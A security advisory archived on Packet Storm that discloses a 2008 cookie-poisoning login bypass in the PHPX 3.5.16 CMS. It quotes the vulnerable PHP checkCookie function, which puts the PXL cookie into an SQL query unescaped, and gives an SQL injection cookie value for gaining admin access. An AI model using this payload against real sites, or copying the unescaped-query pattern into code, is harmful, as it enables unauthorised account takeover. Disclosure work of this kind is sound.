exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpx-cookie.txt

phpx-cookie.txt
Posted Jul 31, 2008
Authored by Gnix | Site gnix.netsons.org

PHPX version 3.5.16 suffers from a cookie poisoning and login bypass vulnerability.

tags | exploit, bypass
SHA-256 | 4446468690e6eb807b546f26f3063774d760766617d43f7ecb0e41eb42716c04

phpx-cookie.txt

Change Mirror Download
=======================================================================

= gnix =

gnixmail at gmail dot com
http://gnix.netsons.org


Application: phpx
http://www.phpx.org/project.php (stable version)
Versions: 3.5.16
Platforms: All
Bug: Cookie poisoning / Login bypass
Date: 31 July 2008



=======================================================================

1. Intro
2. Cookie poisoning and login bypass



=======================================================================

1. Intro
========

PHPX is a web portal system, blog,Content Management System (CMS), forums,
and more. All files are currently hosted at http://www.phpx.org/project.php



=======================================================================

2. Cookie poisoning and login bypass
====================================

Every file in phpx-3.5.16/ directory have two lines of code: one for
include includes/functions.inc.php, and another to create a website object.
website's constructor will call checkCookie.


Source code (includes/functions.inc.php)
---------------------------------------------------------------------
class website {
...

function website(){
...

$this->checkCookie();
---------------------------------------------------------------------


The function checkCookie set the user_id if PXL cookie is set and the
query return an user_id, and an username.


Vulnerable code (includes/functions.inc.php lines 75 to 89)
---------------------------------------------------------------------
function checkCookie(){

if ($_COOKIE[PXL]){
list($user_id, $username) = $this->core->db->fetch("select user_id, username from users where sess = '$_COOKIE[PXL]'");
if (!$user_id){
setcookie("PXL", '', time() - 60, '', '', $this->core->secure);
$head = "Location: http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
header($head);
}
else {
if (strtolower($username) == "xnuiem"){ $this->debug = 1; }
$this->user_id = $user_id;
}
}
}
---------------------------------------------------------------------


This user_id is then used in the website constructor for set the user_id
of the core class.


Source code (includes/functions.inc.php line 32)
---------------------------------------------------------------------
$this->core->user_id = $this->user_id;
---------------------------------------------------------------------


Now if you want to get the admin privileges and by pass the login, you
have to create a cookie like this below:


---------------------------------------------------------------------
PXL=a' OR username='admin
---------------------------------------------------------------------


To do that you can use 'Modify Headers'.



=======================================================================

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close